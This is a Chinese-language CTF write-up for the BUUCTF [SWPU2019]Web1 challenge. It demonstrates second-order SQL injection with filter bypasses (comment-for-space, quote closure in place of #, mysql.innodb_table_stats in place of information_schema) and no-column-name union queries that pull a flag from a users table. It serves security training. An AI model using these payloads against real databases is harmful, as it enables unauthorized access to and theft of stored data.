BUUCTF_WEB_[SWPU2019]Web1 题解

[SWPU2019]Web1

1.点击网页之后,注册一个账户,然后登录(登录界面和注册界面的sql注入已经测试,发现没有用):
image-20230823141144322

2.点击申请一个广告:

image-20230823141243172

在该页面中也存在疑似注入点,先随机申请一个广告:
image-20230823141351148

3.点击广告详情:
image-20230823141456102

显示了该广告的内容

4.猜测该页面的事务处理逻辑:
申请广告页面:

insert into table VALUES(“广告名”,”广告内容”,……..);

index.php显示内容:
select * from table

广告详情页面:

select * from table where 广告名 =’从界面列表中获取的广告名’

验证猜测:

在申请广告页面中:
payload:

1
2
广告名:1'
广告内容:aaaaa

image-20230823142529330

点击广告详情:
image-20230823142551729

发生sql报错,所以可以证实我们的猜想,广告详情存在sql注入漏洞:
select * from table where 广告名 =’1’’

5.sql注入:
第一步,爆字段:

payload:

1
-1' union select 1,2,3 #

image-20230823143036837

发现对输入内容进行了过滤,对输入内容进行判断,看看它过滤了哪些内容:

1
-1' union

image-20230823143210775

可以进行申请,但是在显示的内容中空格被消除了,说明网页对空格进行了处理:
对空格进行绕过:
image-20230823143443665

所以空格可以用/**/代替

image-20230823144042281

所以也可以用()绕过空格

1
-1'/**/union/**/select

image-20230823144331977

没有过滤select

1
-1'/**/union/**/select/**/1,2,3#

image-20230823144539306

说明该站点过滤了#

#号绕过:

image-20230823145455569

所以可以用/**/‘通过闭合’绕过

1
-1'/**/union/**/select/**/1,2,3/**/'

image-20230823145739643

点击广告详情:
image-20230823145919546

成功爆出字段不一致的错误,说明当前注入方式正确,现在只要一步步添加上去或减少,来确认它到底有多少字段(也可以用order by 或group by 来判断有多少字段),最终添加到22的时候成功:

1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20230823150404948

点击广告详情:
image-20230823150443148

没有报错,说明当前表总共有22个字段,且由显示的内容得,只显示了2,3,说明该数据表的内容在html中(在数据库中select一定是全部搜索出来的)只显示第二个字段和第三个字段,所以我们要爆的内容也只能在这两个字段中显示

第二步,爆数据库

payload:

1
-1'/**/union/**/select/**/1,group_concat(database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20230823151000019

爆出数据库只有web1

第三步,爆表:

payload:

1
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.tables/**/where/**/table_schema=DATABASE()/**/'

image-20230823152137236

对输入内容进行一一判断:

1
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from

image-20230823152224914

1
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.tables

image-20230823152317844

猜测敏感词汇为information_schema.tables

information_schema.tables绕过:

image-20230823152947582

payload:

1
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/'

image-20230823153243260

点击广告详情:
image-20230823153322133

爆出两张表:ads,users

第四步,爆表的字段:

先爆ads的字段

payload:

1
-1'/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.COLUMNS/**/where table_schema='web1'/**/and/**/table_name='ads'/**/'

image-20230823153803945

对注入内容进行一一判断:

1
group_concat(column_name)

image-20230823153845408

1
-1'/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.COLUMNS

image-20230823153914234

猜测可能是对information_schema.COLUMNS进行了过滤

information_schema.COLUMNS绕过:

由于无法绕过information_schema.COLUMNS,但是在已经知道表明的情况下可以采用无列名爆破法:

参考:[SWPU2019]Web1 1_succ3的博客-CSDN博客

参考的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
普通的sq查询
select * from users

查询表,并把列名替换为1,2,3.4,5,6
select 1,2,3,4,5 ,6 union select * from users

单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
select `4` from (select 1,2,3,4,5,6 union select * from users)a;

若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;

测试:
-- 在已经知道beanbook表,但是不知道其字段名的情况下,爆出该表的字段值
-- 爆出第3列的值,把3当作第三列的字段名
select `3` from
(select 1,2,3,4,5,6 union select * from beanbook) as b

-- 爆出第1列的值,把别名a当作第一列的字段名
select a from
(select 1 as a,2,3,4,5,6 union select * from beanbook) as b

无列名爆破法测试:

第一种:

image-20230823155738540

第二种:
image-20230823155947247

根据无名列爆破的payload,我们先要确认该表有多少个字段:

(flag在users表中,所以在这里省略对ads表的判断,思路和users表一样)

payload:

1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1/**/as/**/b/**/union/**/select*from/**/users)/**/as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20230823161617410

继续添加字段,(省略两个字段的判断)

payload:

1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1/**/as/**/b,2,3/**/union/**/select*from/**/users)/**/as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20230823161924192

回显了第一列的所有内容,说明users表的字段有三个

回显第二个字段的内容:

payload:

1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/b,3/**/union/**/select*from/**/users)/**/as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20230823162104825

发现了flag,但是不是flag的内容,说明flag内容在第三个字段中

payload:

1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)/**/as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20230823162243017

flag=flag{507104d6-24f2-405b-8de5-f60bdc690138}


BUUCTF_WEB_[SWPU2019]Web1 题解
http://example.com/2023/08/23/2023-08-23-[SWPU2019]Web1/
作者
South
发布于
2023年8月23日
许可协议